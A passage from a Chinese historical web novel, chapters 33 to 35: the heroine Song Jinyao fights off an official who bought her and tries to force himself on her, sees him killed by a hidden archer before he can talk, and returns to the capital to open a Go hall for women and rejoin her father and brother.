宋锦瑶左右为难,担心丫鬟突然闯进来看到楚栀子在这里,犹豫片刻,她用手心覆在楚栀子的手背上。
“我在。”宋锦瑶轻轻弯眉,示意没事,“我知道了,这就过去。”
闻言,门外的人顿时放松下来,交代几句后,便转身离开。
“你不能去!”楚栀子紧紧握住她的手,“那个王八蛋绝对不怀好意,你去了就……”
“没事。”宋锦瑶含笑安慰道,“我会平安回来的。但在此之前,你得为我做一件事,只有你能做的事。”
大概是深夜的缘故,尚书府内一片寂静,除了周围戒备森严的侍卫,与傅渊的棋楼简直天差地别。
宋锦瑶站在门外,极力压制着内心翻涌的恶心,深吸一口气,伸手轻轻敲响房门。
听到里面传来尚书的声音,宋锦瑶礼貌地回道:“尚书大人,我是宋锦瑶。”
话音刚落,门便被人猛地打开。
尚书色眯眯地打量着宋锦瑶,眼睛瞪得老大,连忙招呼她进来坐坐。
望着眼前这张脸蛋,尚书坐立不安,试图找话题搭讪道:“宋锦瑶啊,虽然本尚书已六十余岁,但精力一点不比外面的年轻男子差。”
对上宋锦瑶的目光,尚书尴尬地笑道:“不瞒你说,半年前,本尚书就已经注意到你了,只可惜傅公子珍视你,不肯轻易让你见外人,所以你才不认识我。”
宋锦瑶淡淡“嗯”了一声,脸上没有过多情绪:“尚书大人这么晚叫我过来,可有要事?”
“我就是有点想见你罢了。”尚书一脸谄媚地笑道,“今夜长夜漫漫,宋姑娘可否服侍我入睡?”
?
宋锦瑶难以置信地盯着那双充满猥琐的眼睛,起身道:“尚书大人,今日是我进府的第一夜,身心有些疲惫,我看今晚还是算了吧。”
闻此言,尚书脸上的笑意瞬间消失,取而代之的是些许恼怒。
“宋韵,这是尚书府,我让你做什么,你就得做什么!你也敢拒绝我的请求?”
态度转变太快,宋锦瑶险些没反应过来。
“宋韵,你的事情傅公子早就跟我讲过了。”尚书恶狠狠瞪着宋锦瑶,“你说我花这么多银子回来,只是为了获得人身自由吗?”
尚书猛地站起身,步步朝宋锦瑶走去,满嘴恶毒话,可眼里全是色情。
“我把你买回来,就是给我身心愉快的,就是给我繁衍子孙的。我想我们的孩子一定会非常优秀,让我长脸。”
望着眼前这位判若两人的尚书,她不禁咽了咽口水:“尚书大人,您先冷静,我并非拒绝您的请求,我只是……”
见宋锦瑶满眼紧张地退后,尚书气得直接将桌子上的围棋一把掀翻,棋子散落一地,发出巨大声响。
宋锦瑶被惊在原地,惊恐地看着尚书朝自己步步逼近,甚至能看到他眼球中布满的血丝。
“这么漂亮的美人,我可等不到明天了。宋韵,你到底给我下了什么药,让我如此欲罢不能。”
“这么诱人的嘴唇,真想尝尝,一口下去,想必定让人沉醉。况且我还是第一次见像你这样的奇女子,让我抱抱你吧。”
这种人明显得淫症吧!!!
宋锦瑶试探唤醒他的理智,可这个时候,尚书早已经神志不清。
他向饿狼捕食一样,不断朝她这边袭来,她被逼到墙角,目光死死盯着眼前的人。
33. 033
宋锦瑶全身紧绷,冷冽的眼眸死死盯着面前的人,恨不得将对方千刀万剐。
只见尚书脸色微微泛红,双眼半眯着,眼神中透露出欲望。
宋锦瑶靠在墙角,时刻准备反守为攻,只要他敢碰自己一下,她也不会客气,直接一脚断他子孙。
“宋韵姑娘别跑啊,这可是我的房间,你插翅也难飞,还是乖乖认命吧。”说着,他的手已经开始去解自己身上的衣物。
尚书一边说着,一边迈着猥琐的步伐朝她逼近,每一步都像是踩在宋锦瑶的底线上
“尚书大人,我是王爷的人。”火烧眉毛之际,宋锦瑶不得不搬出徐颂祁的名号,“你就算有天大的胆子,难道不怕王爷知晓此事吗?”
“怕?”尚书轻蔑地笑了笑,笑声中全是不屑,“我尚书府可不是什么人都能随便进出的,就算我在这儿强迫了你,王爷又怎么会知道?还是说,宋韵姑娘和王爷之间有什么不可告人的关系?”
此话一出,宋锦瑶瞬间沉默,她紧咬着下唇,只能用目光狠狠地瞪着尚书。
尚书见状,更加得意忘形,他轻蔑地低下头,嘴角挂着恶心的笑:“只要宋韵姑娘肯乖乖听话,我保证会对你温柔点。”说着,他的手已经伸过来,眼看就要触碰到宋锦瑶。
两人距离即将触碰之际,宋锦瑶刘海微微掩过双眼,她侧过脸,不明含义地轻笑一声。
这一声笑,让尚书瞬间一愣,还没等他反应过来,宋锦瑶已经顺势抓住他的手臂,毫不犹豫地抬起脚,用尽全身的力气朝他的下半身踢去。
刹那间,她仿佛听到某个东西破裂的声音,紧接着,尚书发出一声凄厉的惨叫,整个人蜷缩在地上,痛苦地翻滚着。
趁着尚书蜷缩着全身惨叫的功夫,宋锦瑶迅速起身调整好姿势,居高临下看着满脸痛苦的尚书。
宋锦瑶迅速起身,调整好姿势,居高临下地看着满脸痛苦的尚书,眼神中全是鄙夷:“既然尚书先对我无礼,那就别怪我手下不留情。”说罢,她转身朝门口跑去。
她来到房门前,双手用力地推着门,却发现门怎么也推不开。本想着靠蛮力破门而出,可就在这时,身后传来尚书颤颤巍巍的声音。
“没有用的,今晚这门无法从里面打开。”
宋锦瑶猛然回眸望去,只见刚刚还趴在地上瑟瑟发抖的尚书,此刻双手扶着墙,慢悠悠地站起身来。
他脸色依旧惨白,但眼中却是愤怒:“好你个宋韵,真是给你胆子了,居然敢踢我命根子,看我今晚不好好收拾你。”
倘若是之前的局势,对宋锦瑶来说确实不利,但眼下面对自身难保的老者来说,到底是谁制裁谁?
横竖都是死,还不如拼个鱼死网破。
想到这里,她放下敲门的手,冷冷地盯着尚书,语气中没了从前的恭敬:“好啊,今晚我不仅要让你断子绝孙,还要让你偿还自己所犯下的罪孽。”
她顺手握紧旁边的花瓶,垂眸打量着连站都站不稳的尚书,满眼透露出不屑。
两人就这样僵持在原地,谁也不敢轻举妄动,房间内又恢复一片寂静。
“宋韵啊宋韵,这才是你的真面目吧?生在这吃人的世道,怎么可能乖乖束手就擒。”
“宋韵?”宋锦瑶忍不住哼笑一声,满眼讽刺道,“尚书大人错了,这世上从来就没有宋韵。而我,是御史大夫之女,亦是你们口中早已死去的宋锦瑶。”
此话一出,尚书整个人瞬间僵在原地,嘴角震惊得合不拢,眼睛呆呆地看着宋锦瑶。
他后背微微发凉,强迫自己冷静下来,冷笑道:“你是宋锦瑶?那我还是当今圣上呢。你觉得我会信吗?”
尚书恢复了点力气后,扭了扭手腕,气势汹汹地朝宋锦瑶走去,像是来锁她命似的。
宋锦瑶见状,只好步步往后退,手里紧紧握住花瓶,朝尚书恐吓道:“你别过来,再过来我就真下手了!”
“来啊,宋韵,我巴不得你对我动手呢。”
就这样,宋锦瑶握着花瓶在前面跑,尚书在后面追,场面一度失控。
他跟个狗皮膏药一样紧紧追着宋锦瑶不放,甚至边跑边说些不堪入耳的言语。这下,她是彻底受不了了。
宋锦瑶一口气跑到拐角处,猛然转身,抬手迅速朝身后砸去。
“嘭——”
直到房间内传来开一道巨响声来,陶瓷花瓶在尚书身上瞬间炸开。
尚书下意识抬手防御,却没想到炸开的碎片正巧从他的手臂上划开,鲜血瞬间顺着手臂涌出来,剧烈的疼痛感再次弥漫全身。
最后,碎片重重落在地,混乱的场面才得以平静下来。
“宋韵,你居然真敢对我动手。”尚书满脸不可置信地盯着自己满手鲜血,嘴角扭曲一抹冷笑,“我要让你知道,我的真正实力!让你见不到明天的太阳!”
闻言,宋锦瑶眉头紧蹙,整个人十分警惕地打量着他一举一动,手掌轻轻握紧花瓶碎片,进入防备状态。
尚书脸色煞白,双腿都快站不稳了,但嘴巴还是依旧的硬。
听到身后的房门被打开,头也不回的挑衅道:“多亏了你,才让周围的侍卫发现动静。宋韵,接下来我看你怎么跑。”
宋锦瑶:“……”
“现在知道乖乖听话了?晚了!去死吧宋韵。”
话音未落,一把锋利的刀刃抵在了尚书的后背上,紧接着,冰冷无情的女生声音附在尚书耳边响起:“该死的人是你。”
尚书猛然侧过脸,对上楚栀子那双深不见底的双眸时,差点双腿一软跪了下去。他强撑着理智,质问道:“为何是你!我的侍卫呢!人呢!”
“都死了。”楚栀子毫无感情地叙述道,“你的好日子也到头了。”
尚书疯狂摇头,不敢置信楚栀子所说的话,强笑道:“你个贱女人,竟敢口出狂言,等我收拾完宋韵,再把你也杀了!”
你还没搞清楚状况吗?”宋锦瑶将手中的碎片丢掉,重新抬眸看向尚书,那双眼睛充满可怜,“尚书大人,你被傅渊当了替罪羊。”
“什么?”
“有人与王爷作对,想要我的命。倘若傅渊敢直接杀了我,那王爷自然不会放过他。可他只需将我高价卖出,那么他的罪名便会落在买我的人身上。”
“这样一来,他不仅能自证清白,还能大赚一笔,可谓是利益最大化。”楚栀子接着补充道。
好一个顺手牵羊,完美脱身。
尚书愣在原地,瞳孔微微泛白,手指止不住地颤抖。
他拼命摇头,否认道:“不可能,这绝对不是真的,你们都在骗我,来人,快来人!将这两个贱女人带下去杀了!”
楚栀子压抑不住心中的厌恶,直接一脚踢在他的腿上,他猝不及防双膝重重地跪在地上,发出一声沉闷的声响。
楚栀子冷冷地说道:“别叫了,宋姑娘早就预判到傅渊的计划,特意设此局引你上钩。而你口中的侍卫,早就全被射杀了。”
一个时辰前。
宋锦瑶垂眸看着眼前满眼担忧的楚栀子,轻声说道:“栀子,说出来你可能不太相信,我其实就是宋锦瑶,我没死。我想让你帮我做件事。”
楚栀子双眼不由自主瞪大,满眼震惊注视着满脸认真地宋锦瑶。
察觉到她不像是开玩笑的神色,楚栀子克制住自己的情绪,毫不犹豫点头道:“虽然很难以相信,但我暂且愿意相信你,说吧。”
她曾想过要是对方知道自己真实身份后的神情会是什么样,但却从来没想过会是如此平静,或者该说是信任。
可眼下时间紧
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迫,宋锦瑶来不及过多解释,只好将计划告知楚栀子。
“待我进去后,你便去找个空旷的地方,将烟花点燃。但我们的目标并不是烟花,而是吸引侍卫的注意力。你趁机躲起来,只要见到穿着不是尚书府的侍卫,你就将这个给他。”说着,宋锦瑶从袖口里拿出小型烟花筒和另一串手链。
楚栀子疑惑地接过,问道:“之后呢?万一那人认不出手链怎么办?”
宋锦瑶摇了摇头:“不会的。之后你便可以来救我了。”
“等等。”楚栀子抬眸重新盯着宋锦瑶那双晦暗的眼睛,“你是想今晚就将尚书杀了吗?”
“杀倒不至于,我有些问题想与他聊聊。”宋锦瑶语气柔和道,“所以,拜托你了。”
此刻,尚书痛苦地跪坐在地上,整个大脑一片空白,手臂上流满鲜血,他却似乎毫无感觉。
良久,尚书重新抬头望向宋锦瑶,眼眶被泪水充斥着,视线模糊不清:“你当真是宋锦瑶?不可能,她早就死了。你们两个黄毛丫头竟能如此嚣张,我要杀了你们!”他瞪大双眼,眼球布满血丝,放声痛斥着。
宋锦瑶冷漠地打量着尚书狼狈不堪的模样,轻蔑道:“告诉我,傅渊还和你讲了什么,以及到底是谁在幕后操控这一切?”
闻言,尚书跪在地上忍不住发出嗤笑声,声音越来越大,就像是用尽全身的力气,直到笑到咳出血为止。
“宋锦瑶,你不是很能耐吗?怎么?就连你也不清楚那位大人的事迹吗?也对,毕竟你是王爷的人,都是将死之人的互相遗言罢了。”
楚栀子将刀刃指向尚书的后脑勺,威胁道:“闭嘴!你这种人渣才是将死之人。”
尚书无视楚栀子的话,目光依旧打量着宋锦瑶,眼眸中闪过一丝可笑:“宋锦瑶,既然你这么想知道,为何自己不去询问傅渊?也对,现在闹出这一幕,想必傅渊早就跑了吧?”
“宋锦瑶,你引以为傲的围棋,将会是推向你走进深渊的工具。”尚书恶狠狠说道,眼神就像是恶魔的诅咒。
她脸上没有任何表情,声音更是没有因为那句话而感到动摇:“我再说一遍,那个人到底是谁。”
“反正横竖都是死,说出来,就算是死前给自己攒点德了。”尚书嘴角微微上扬,转头望向墙上的山水画,眸子一下子柔和下来,缓缓说道:“他是……”
说话的瞬间,宋锦瑶敏锐地察觉到窗外传来一道细微的动静,意识到不对劲,猛地转头朝楚栀子大声喊去:“栀子,快躲开!”
楚栀子疑惑地转头望向宋锦瑶,刚想开口说话,不料耳边响起极快的风速声,她想也没想,迅速松开刀柄,整个人猛烈往后退去。
下一秒,一个尖锐的弓箭精准无误地射在尚书的脖颈处,两人瞬间屏住呼吸,满眼不可置信地打量着眼前这突如其来的一幕。
尚书像是早就料到般,挣扎着喘着粗气,缓缓抬头看向震惊的宋锦瑶,嘴角浮现出一抹意味深长的笑意。
“宋锦瑶,你永远斗不过他们,期待与你在黄泉下见面。”
弓箭上涂有剧毒,毒液迅速渗入血液中,导致尚书的脖颈大面积发紫。
话音刚落,尚书整个人正面朝地上重重地倒去,脖颈和手臂上的鲜血还在止不住地流出。
楚栀子被吓到僵在原地,脸上惨白,刚刚握紧的刀柄还是微微发抖。
宋锦瑶冰冷地注视着地上的尸体,回眸又打量着那副山水画,眼中闪过复杂的情绪,随后没有丝毫犹豫,转身朝门外走去。
事情好像越挖越往意想不到的方向发展了。
她刚走到门口,身后便传来楚栀子颤抖的声音:“宋姑娘。”
宋锦瑶没有回头,但声音还是温柔下来,回道:“我没事,趁着射箭的人还没走远,我们快去追。”
34. 034
屋外,一片惨不忍睹的狼藉。
地面上横七竖八地躺着一具具尸体,鲜血早已干涸。屋檐下,也悬挂着几具尸体,被绳索勒紧的脖颈扭曲着,在微风中轻轻晃动。
宋锦瑶站在外面,看着眼前场景,眉头微蹙,本想置之不理去追赶弓箭手,身后突然传来一道浅笑声。
“我已经派人去追了。宋锦瑶,你今日布置的这番计划,实属让我刮目相待。”
闻言,宋锦瑶没有回头,徐颂祁便自己走到她面前来。他微微垂眸,眼中满是佩服,认真地望向眼前之人。
“原来宋小姐不仅围棋下得好,连布局也是一绝。”他温柔地将两条手链还给她,眸中流露出温柔,“就不怕我没有赶来,导致你竹篮打水一场空?”
宋锦瑶接过手链,缓缓抬头,目光坚定地对上那双眼眸,道:“不怕。因为你是徐颂祁,你一定会过来的。”
话音刚落,徐颂祁怔在原地,眼中闪过一丝惊愕。
过了半晌,他才回过神来,忍不住撇过头,轻咳一声,转移话题道:“里面是什么情况?”
“里面是什么情况?”
“尚书被那个弓箭手射死了,明明就差一点,差一点我们就能知道真相了。可就是这一点,让我们计划全白费,那是傅渊的人吧?”
徐颂祁微微点头,本想伸手去抚摸安慰她,可手刚抬起一半,又犹豫着放了下去,最终只是轻笑道:“嗯,但不要紧,真相永远会浮出水面。”
宋锦瑶抬眸注视着眼前那双明月般的瞳孔,见他薄唇轻轻开合,缓缓说道:“宋锦瑶,我们回去吧。”
她望着徐颂祁,陷入沉思,良久,才努力让脸上挤出一抹笑容:“好。但稍等一下。”说罢,宋锦瑶转身朝屋内走去。
屋内,楚栀子依旧呆呆站在原地,望着地上的尸体,一阵后怕涌上心头。她的双腿微微颤抖,双手紧紧扶着桌子。
直到视野中出现一只白皙的手,她才缓缓抬头,对上宋锦瑶的眼睛。
宋锦瑶伸手轻轻地替她擦拭着脸上的污渍,温柔道:“栀子,真的很感谢你能帮我,从现在起,你自由了。”
楚栀子怔怔地看着宋锦瑶,好似没有反应过来,良久,眼泪不受控制地夺眶而出,顺着脸颊滑落。
漆黑的天空终于迎来第一缕阳光,虽然光线有些薄弱,但那是希望的曙光。
楚栀子紧紧抱住宋锦瑶痛哭,身子止不住地发抖,像是在发泄着这场噩梦终于抵达结局。
徐颂祁倚在门口望着这一幕,嘴角微微上扬,心里暗中松了口气。
他轻轻瞧了瞧门,提醒道:“时间不早了,再晚点周围的官员可就要过来,到时候我们又逃不了了。”
宋锦瑶摸了摸楚栀子的头,郑重其事地说道:“栀子,你愿意跟我走吗?完成属于我们的远大抱负。”
闻言,楚栀子不可置信地对上她的双眸,突然鼻子又感到一阵酸涩,强忍着眼泪,毫不犹豫地点头。
"我愿意。求你们带我一同离开吧。"
虽说早在那天晚上,她便和徐颂祁商谈过这个计划,但令她真没到的是,他居然会将尚书府上下全杀了。
回京路上,他们三人坐在同一辆马车内,楚栀子靠在宋锦瑶的肩上陷入沉睡,而宋锦瑶心里却满是疑问,怎么也睡不着。
徐颂祁迷迷糊糊被马车震醒来,瞧见她一脸沉思,疑惑问道:“怎么了?”
“徐颂祁,那天晚上,你在的对吧?其实你也知道傅渊的预谋对吗?”宋锦瑶直直地盯着他的眼睛,就像要将他看穿。
那天她被傅渊带走的晚上,以及后续所发生的一切,都在她脑海中不断浮现。
对方没有立马回答,而是犹豫半刻,才轻轻点头。
见状,宋锦瑶低下头,语气不甘道:“傅渊故意将我卖给尚书,其实就是猜到你会过来,所以才会特意派后面那个弓箭手。他们原本的目标是射杀你,但计划失败,不得不临时更改射杀尚书,对吗?”
“嗯。”
“……”
宋锦瑶没有再说话,马车内除了路程的颠簸声,再也没了其他声音。
良久,宋锦瑶再次开口,只不过这次声音明显沙哑许多:“徐颂祁,真的很感谢你的帮助。但你是王爷,而我只是一介臣女,我不值得你这样付出,有损你的颜面。”
徐颂祁:“……”
宋锦瑶强笑道:“我没有别的意思,我只想说,我们身份不一,我怕你被世人议论,更怕你因我而涉险。我不值得你这样。”
“嗯。你说的没错。”徐颂祁抬头与她对视,“但我愿意。只要是关于你的事,我总会控制不住想去插手。”
他撇过脸去:“宋锦瑶,以后别再说这样的话了,我很伤心,也不准许你这样说自己。”说罢,他起身朝马车外走去。
这算什么?
宋锦瑶一脸疑惑地望着他消失的背影,悠长地叹了口气。
管他呢,终于可以回家了。
宋锦瑶是被楚栀子推醒来的,她迷迷糊糊睁开眼,便瞧见楚栀子满脸紧张的模样。
还没等她开口说话,楚栀子率先开口:“宋姑娘,这马车好像是去皇宫里的,我还是第一次进城,有些害怕。”
闻言,宋锦瑶轻轻安抚着她的头,转身将车帘掀开,抬眸望去,映入眼帘的是独属于京城的繁荣。
熟悉的街道、熟悉的人群,真叫人有些难忘呢。
一年余载,圣上的身体日渐衰弱,底下的官臣个个起了歹心,想在圣上死后便发起叛乱。
宋锦瑶被徐颂祁安排进殿和太子请安。
正殿上,她与楚栀子一同跪在地上,诉说着这半年来的事迹。高位上的太子全程一言不发,神色凝重地盯着她们。
明明太子与一年前毫无差别,可在此刻,宋锦瑶却细微察觉到他的气场不对劲。
亦或者这才是太子真正的面貌。
完毕,太子缓缓转头望向身旁的徐颂祁,询问道:“所以还是没抓到傅渊吗?”
“嗯。事发我便立即派人去他棋阁守株待兔,可他像早已预料到,直接放弃整个棋阁,逃之夭夭。”
“不急,只要他还帮那人做事,迟早会出现。”太子重新将目光停留在宋锦瑶身上,“这半年余载,宋姑娘辛苦了,很感谢你能将这些事及时告知我们。”
“宋姑娘可以提出任何我所能之事,本王定倾尽全力满足宋姑娘。”
闻言,宋锦瑶惊愕抬头对上太子眼睛。
犹豫片刻,她还是开口回道:“多谢太子恩赐,臣女想开一家属于女子的棋阁,让天下的女子也能下棋。”
此话一出,在场所有人全都望向宋锦瑶,每个人脸上写满惊讶,只有徐颂祁眼中闪过一丝笑意。
太子没有立马回答,沉思许久,最后勉强笑道:“宋姑娘心意本王自然知晓,只不过当今现状,要在京城开一家女子棋阁,确实将会面临处处难题,宋姑娘可知其中苦难与偏见?”
“臣女自然知晓。”宋锦瑶一脸严肃地回道,“可因这样就不开了吗?既然想让世人见识属于女子的魅力,那我甘愿做那枝出头鸟。”
“臣女不怕世人的唾弃与磨难,只怕连证明的资格都没有。还请太子殿下准许。”宋锦瑶重重将头磕在地上。
见状,楚栀子满脸佩服看着宋锦瑶,眼中的惊愕转瞬即逝变成坚定。她也毫不犹豫朝太子磕头,嘴里不断重复恳求太子准许。
太子一言不发,只能将目光望向徐颂祁,但徐颂祁眼底含笑,并没有给他准确的答案。
良久,太子叹了口气,点头道:“不必如此客气,我答应你们,从今日起,在京城内开设一家以女子代表的
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围棋馆。”
闻言,宋锦瑶猛地抬头,耷拉地嘴角立马浮现出一抹笑容:“多谢太子殿下恩赐,祝太子殿下千岁。”
等她们从宫殿出来时,宋锦瑶一眼便瞧见为首的公主站在不远处。
她满脸忧愁地朝里面望去,手中不断拨弄着佛珠。
看清宋锦瑶那张熟悉的面孔时,公主整个人先是愣了一下,随后毫不犹豫地朝她跑去,任由后面的丫鬟满脸惊愕地不断提醒身份和礼仪。
裙摆随风而起,发丝因奔跑而微微凌乱,可她丝毫不在乎,所谓的宫殿规则在此刻全都化为灰烬。
“宋锦瑶!”
公主紧咬着下唇,泪水在眼眶中打转,双手朝宋锦瑶张开,与她撞了个满怀。
宋锦瑶稳稳接住公主,轻轻拍打她后背,声音附在她的耳畔边,低语道:“我在。公主,我回来了。”
“欢迎回来。我好想你。”
众人瞧见这一幕,原本的紧张瞬间化为感动。公主身侧的丫鬟忍不住捂住嘴巴,强忍着泪水,甚至撇过脸不去观看。
公主不舍得放开她,对上那双熟悉的眼眸时,她还是心疼地抽了一下,满脸心疼道:“你瘦了。对不起,要不是我执意想去……”
话音未落,宋锦瑶眉头微皱,轻轻摇头,打断道:“这不是公主的错,公主不必自责,我不是平安回来了吗?以后会养回来的。”
“嗯!”
注意到宋锦瑶身侧还跟着一位女子,公主接过手帕擦拭眼角余泪,疑惑地上下打量着楚栀子。
赤裸裸的目光让楚栀子感到一丝害怕,她不禁躲到宋锦瑶身后,眼神闪躲,不敢去看公主。
察觉到异样,宋锦瑶赶忙开口向公主介绍楚栀子:“公主,这位便是我回京路上告知你的奇女子。”
她将楚栀子推到面前,浅笑道:“她叫楚栀子,多亏了她,不然我还被困在尚书左丞府内,而且栀子棋艺了得,是难得一遇的天才。”
在未见到楚栀子前,公主对这位女子并无好感,但仔细端详后,倒也起了一丝兴趣。
“宋姑娘的朋友就是我的朋友,你叫楚栀子对吧?很感谢你能帮宋姑娘,日后有什么需要,尽管跟本宫提!”
楚栀子从未见过这种场面,连忙道谢后,又躲在宋锦瑶身后藏起来。
太阳渐渐下山,寒冷的冬夜终于迎来属于自己的春天。
与公主道别后,宋锦瑶便加快马步赶回御史府。
之前便听闻父亲身体日渐不好,她每每晚上都会做噩梦,这次回来,她一定要多多陪在父亲身旁。
御史府门前一片冷清,甚至她离家前的大门口红灯笼,早已落上一层厚重的灰。
明明还是和记忆中那样,可总感觉少了些什么。
宋锦瑶特意没让徐颂祁告诉家里她出来的情况,除了院门口零零散散的丫鬟在打扫卫生外,御史府格外冷清。
望着眼前这一幕,一种从未有过的酸涩感涌上心头。她轻声走向御史府,门口的侍卫下意识去阻拦。
“御史大人身体抱恙,不方便接客,还请大人回去,日后再来。”
宋锦瑶:“……”
见面前的人执意不走,门口侍卫眉头微皱,不禁抬眸查看。
当目光落在宋锦瑶脸上的一刹那,他瞬间愣在原地,整个神色像是被定格,一时间忘了呼吸。
“宋……宋……”侍卫哆哆嗦嗦说道,眼中满是惊愕与不可置信。
还没等他开口说完,宋锦瑶嘴角浅笑,食指抵在自己嘴边,示意不要说话,道:“锦初呢?怎么不见他人?”
侍卫立马明白宋锦瑶的意思,硬生生把惊愕憋回去,回道:“小主在屋里照顾御史大人,自从小姐失踪后,小主和大人便很少再出来迎客。”
宋锦瑶轻轻点头,转身朝御史府里面走去。
35. 035
御史府内更为清冷,除了好几丫鬟瞧见宋锦瑶感到惊讶和激动外,她们都不约而同保持安静。
宋锦瑶轻手轻脚地走进父亲房间,本想着给他们一个惊喜,却没想到房间空无一人。
大晚上父亲和弟弟能去哪?
她满心疑惑在房间里来回踱步,正打算出门询问屋外的侍卫,冷不防地迎面撞上一个坚实的胸膛。
宋锦瑶的额头猛地磕在对方胸前的玉佩上,那一瞬间,剧痛袭来,她下意识地伸手捂住额头。
“嘶……”
她吃疼地低声叫出来,还没缓过神,对方突然抓住她的手腕,力气大得让她无法挣脱,强行将她的头抬起对视。
看清来人竟是宋锦初时,宋锦瑶猛然愣在原地,手腕任由他紧紧握住,额头上的疼痛感好似消失殆尽,连同空气都安静不少。
眼前的人与她记忆中的少年变了不少,眉眼间多了一丝沉稳,身体也比之前要强壮许多,满打满算已经比宋锦瑶高一个头。
她看着宋锦初满眼惊愕地打量着自己,就连瞳孔也倒映出自己模样,甚至他不敢眨眼,生怕睁眼的瞬间,宋锦瑶再次消失不见。
见他迟迟不松手,宋锦瑶嘴角浅笑:“宋……”
话还没说完,宋锦初突然用力一拉,将她紧紧拥入怀中。他俯下身,双臂紧紧搂住她,急促而又短暂的呼吸,轻轻打在她的脖颈处。
宋锦瑶被这突如其来的拥抱弄得不知所措,她僵在原地,一动也不敢动,脸上写满茫然。
本想开口提醒他抱得太紧,可就在抬手的瞬间,她敏锐地察觉到,宋锦初的身子在微微颤抖。
他在贪恋她的气息,在确认她是否真的回来了,在用自己的身体诉说着对她的思念。
他不语,但宋锦瑶全知。
宋锦初薄唇贴在她的耳边,声音略带哽咽地低语道:“阿姊,我和父亲都很想你。”
“嗯,我都知道。”宋锦瑶双手环抱住他,脸上露出欣慰的笑容:“锦初,你和父亲过得还好吗?”
他垂眸不语,一味将手臂缩紧,声音略有些沙哑:“不好,一点都不好。父亲病了,已经很久没上早朝了,如今也很少开口说话,偶然瞧见有趣的事情,也只是念叨着你。”
“可以带我去见见父亲吗?”
虽是漆黑的夜晚,可今晚的月亮却格外明亮,月光洒在后花园内,倒也省了烛火。
宋锦初带着她走进后院,她一眼便瞧见父亲坐在轮椅上,垂眸盯着面前的鹦鹉,脸上没有任何表情。
宋锦初强颜欢笑地解释道:“自从王爷宣布放弃寻你后,父亲便得了心病,我怕他想不开,就从集市里买只鹦鹉陪他。”
宋锦瑶抬眸望去,只见鹦鹉在笼子里上蹿下跳,叽叽喳喳地叫个不停,嘴里还不停地重复着一句话:
“晚上好。”
“晚上好。”
后院除了鹦鹉的叫声,安静得有些可怕。
宋老爷子背对着他们,察觉到有人过来,却没有回头查看,只是像往常一样开口说话。
“初儿,今日这鹦鹉有些奇怪,明日你带去给大夫瞧瞧。”
没听到宋锦初回应自己,宋老爷子还是没回头,叹了口气继续道:“我知道你讨厌我这副模样,但你阿姊如今不在了,就多陪陪我说些吧。”
宋锦瑶:“……”
一阵风起,吹在宋锦瑶眼眶里有些酸涩,她咬紧下唇,闭上眼睛强忍着情绪。
这时,笼子里的鹦鹉见到这一幕,在笼子里跳得更欢,嘴里高声大喊着:“锦瑶,锦瑶,锦瑶。”
闻言,宋老爷子突然睁开眼,嘴角忍不住轻笑一声:“锦初啊,前几日我怎么也教不会的名字,这鹦鹉居然自己开口说话了,你说这家伙灵不灵?”
宋锦初没有说话,只是别过头去,让人看不清他此刻的神情。
宋锦瑶用手捂住嘴,试图掩盖眼角的眼泪,颤抖着声音开口道:“父亲,我回来了。”
此话一出,宋老爷子瞬间僵在原地,嘴角微微抽搐着,强笑着说:“锦初啊,我刚刚又听到你阿姊的声音了,你说她会不会也很想我们呢?”
宋锦初攥紧手指,苦涩道:“父亲,阿姊回来了,你回头看看吧。”
得到这个回答,宋老爷子徒然失色不动,他脑子一片空白,脸上露出难以置信的神色。
他使出全身力气手,才手忙脚乱地将轮椅转过来,当他抬头对上宋锦瑶那双眼睛的瞬间,积攒在眼眶里的泪水夺眶而出。
宋老爷子目不转睛地盯着宋锦瑶,缓缓伸出手,想要抚摸她的脸庞,来确定这不是一场梦。
宋锦瑶走到他面前跪下,轻轻握住宋老爷子的手,眼神柔和地看着他,将满是老茧的手掌抵在自己脸上,浅笑道。
“父亲,我是锦瑶,我回来了。”
宋老爷子目光落在她的脸上,眼神涣散,脸上布满斑驳的泪水:“孩子,回来就好,回来就好,我就知道你一定会回来的。”
“我和锦初始终不愿相信你离世的消息,我们坚信你还活着,只要你还活着,肯定会拼尽全力回来。”宋老爷子用指腹轻轻摩挲着她的脸,喃喃自语道:“好孩子,我的孩子。”
今晚的月光如此明亮,好似想要将这漆黑的深夜照明似的。
深夜,宋锦瑶还在为几日后的棋阁开业做着周密的打算。
她坐在桌前,一脸认真地将未来的规划详细地记录下来,时不时地停下笔,研究起当代的棋法。
为了避免日后被人诟病女子不配下围棋,她决定提前编写一本全新的基础棋法书籍,用实力去击败那些质疑的声音,这远比口舌之争有用得多。
大昭的棋法大多拘泥于固定的公式,缺乏创新。要是能将现代棋法与大昭棋法融合,说不定能碰撞出不一样的火花。
她一边仔细翻阅记录大昭历史棋法的古籍,一边利用系统调出现代棋法进行对比研究。
接下来,她要全城寻找会围棋的女子,只要教会她们,再让她们往下传授,要不了多久,大昭就会掀起一股全民喜爱围棋的热潮。
夜已经很深了,宋锦瑶房间里的灯还亮着。她满脸疲倦,却仍在不停地翻阅古籍,生怕几日后的开业会出现什么差错。
不知不觉中,她的眼皮越来越沉,大脑也开始变得混沌起来,直到最后,意识彻底消失,她趴在桌上沉沉地睡去。
“小姐?小姐你醒了吗?”
迷迷糊糊中,宋锦瑶听到有人在轻声呼唤自己。她半眯着眼睛,望向床头的窗外。
已经是翌日了吗?自己好像忙了一整晚。
宋锦瑶用手腕抵在眉眼间,心里暗自想着。
“小姐!小厌真的好想你!”说罢,一道双手紧紧抱住宋锦瑶的被褥。
察觉到异样,还是睡梦中的宋锦瑶意识瞬间清醒不少,她猛地起身,下意识往后退,满眼惊恐地看向那人。
对上小厌那双疑惑的眼神时,宋锦瑶不禁愣住,随后掩饰尴尬地干笑几声后,赶忙冲上去,紧紧抱住一脸懵逼的小厌。
“我也好想好想小厌,让我贴贴!”宋锦瑶像个小猫一样蹭在小厌脸颊上,不停撒娇。
明明只有一
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年未见,大家好像都变得成熟许多。
开业当天,棋阁门前热闹非凡,一阵铜锣声响起,鞭炮声震耳欲聋,吸引众多路人纷纷前来围观。
宋锦瑶站在棋阁门口,紧张地深吸一口气,伸手将压盖招牌的红布取下。望着招牌缓缓升起,最终悬挂在棋阁正门的上方。百姓们纷纷仰头观望,嘴里不停地发出阵阵惊叹。
“这招牌做得可真漂亮,这字看着就透着股灵气。”一位老者捋着胡须赞叹道。
“是啊,这‘云弈阁’的名字也好听,听说这是专门让女子下棋的地方,真是新鲜事!”一位年轻的妇人附和着。
楚栀子原本一早上都忐忑不安,听到这些夸赞声,心里的大石头总算落了地,脸上也逐渐浮现出笑容。
